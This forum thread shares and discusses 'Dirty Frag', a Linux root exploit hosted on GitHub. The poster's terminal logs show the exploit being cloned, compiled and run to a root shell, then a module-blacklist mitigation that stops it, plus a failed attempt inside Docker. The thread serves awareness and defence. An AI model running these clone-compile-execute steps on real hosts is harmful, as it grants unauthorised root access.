31 votes

Dirty Frag, an exploit which can obtain root privileges on major Linux distributions

Posted by goose
Tags: security.cyber, linux, vulnerabilities, exploits, dirtyfrag, source.github
https://github.com/V4bel/dirtyfrag

Link information

This data is scraped automatically and may be incorrect.

Title
GitHub - V4bel/dirtyfrag
Authors
V4bel
Word count
613 words

5 comments

  1. [2]
    goose
    Link
    For the general awareness of other Linux hosts. Verified it as an valid on my Debian host: [goose@Vergil: ~/test ] $ uname -a Linux Vergil.goose.ws 6.18.15+deb13-amd64 #1 SMP PREEMPT_DYNAMIC...

    For the general awareness of other Linux hosts. Verified it as an valid on my Debian host:

    [goose@Vergil: ~/test ] $ uname -a
Linux Vergil.goose.ws 6.18.15+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.18.15-1~bpo13+1 (2026-03-12) x86_64 GNU/Linux
[goose@Vergil: ~/test ] $ git clone https://github.com/V4bel/dirtyfrag.git
Cloning into 'dirtyfrag'...
remote: Enumerating objects: 26, done.
remote: Counting objects: 100% (26/26), done.
remote: Compressing objects: 100% (20/20), done.
remote: Total 26 (delta 9), reused 23 (delta 6), pack-reused 0 (from 0)
Receiving objects: 100% (26/26), 5.83 MiB | 21.85 MiB/s, done.
Resolving deltas: 100% (9/9), done.
[goose@Vergil: ~/test ] $ cd dirtyfrag
[goose@Vergil: ~/test/dirtyfrag ] $ gcc -O0 -Wall -o exp exp.c -lutil
[goose@Vergil: ~/test/dirtyfrag ] $ ./exp
# echo $UID

# pwd
/home/goose/test/dirtyfrag
# whoami
root
# printenv
TERM=xterm
PWD=/home/goose/test/dirtyfrag
# w
 16:31:20 up 14 days, 10:16,  2 users,  load average: 2.36, 2.85, 3.58
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU  WHAT
goose    pts/1    192.168.2.101    16:30    0.00s  0.14s   ?    ./exp
goose    pts/0    192.168.2.101    06:00    1:16m  3.33s  0.03s sh
#
    7 votes
    1. goose
      Link Parent
      Some good news, the fix proposed in the repo (blacklist the relevant modules): sh -c "printf 'install esp4 /bin/false\ninstall esp6 /bin/false\ninstall rxrpc /bin/false\n' >...

      Some good news, the fix proposed in the repo (blacklist the relevant modules):

      sh -c "printf 'install esp4 /bin/false\ninstall esp6 /bin/false\ninstall rxrpc /bin/false\n' > /etc/modprobe.d/dirtyfrag.conf; rmmod esp4 esp6 rxrpc 2>/dev/null; true"

      Does seem to patch it for me:

      [goose@Vergil: ~/test/dirtyfrag ] $ ./exp
dirtyfrag: failed (rc=1)
[goose@Vergil: ~/test/dirtyfrag ] $

      Additionally, and fortunately, I'm unable to exploit this from inside a (Docker) container. Not to say that it can't be done, but my Docker is fairly default, and (appears to be) not vulnerable:

      [goose@Vergil: ~ ] $ docker run --rm -it nginx:latest sh
# apt-get update -qq && apt-get install -y gcc git
[truncated for brevity]
# git clone https://github.com/V4bel/dirtyfrag.git /tmp/df
Cloning into '/tmp/df'...
remote: Enumerating objects: 26, done.
remote: Counting objects: 100% (26/26), done.
remote: Compressing objects: 100% (20/20), done.
remote: Total 26 (delta 9), reused 23 (delta 6), pack-reused 0 (from 0)
Receiving objects: 100% (26/26), 5.83 MiB | 26.87 MiB/s, done.
Resolving deltas: 100% (9/9), done.
# gcc -O0 -Wall -o /tmp/exp /tmp/df/exp.c -lutil
# chmod +x /tmp/exp
# su -s /bin/sh nginx -c "/tmp/exp"
dirtyfrag: failed (rc=3)
#
      6 votes
  2. [3]
    ahatlikethat
    Link
    I saw this a couple places, but I have questions--I thought copyfail requied local access. I read that this is basically like copyfail, so as a home user with nearly zero chance of a local machine...

    I saw this a couple places, but I have questions--I thought copyfail requied local access. I read that this is basically like copyfail, so as a home user with nearly zero chance of a local machine takeover, can I just wait for an offical patch? I also read that the posted mitigation breaks IPSec, which seems problematic.

    6 votes
    1. [2]
      goose
      Link Parent
      Yes and no. Your attack surface is reduced, but depending on what services you may have that interface externally (web apps), the low level user space access those use could be a route for the...

      Yes and no. Your attack surface is reduced, but depending on what services you may have that interface externally (web apps), the low level user space access those use could be a route for the exploit.

      7 votes
      1. ahatlikethat
        Link Parent
        Ah, thanks for the explanation!

        Ah, thanks for the explanation!

        3 votes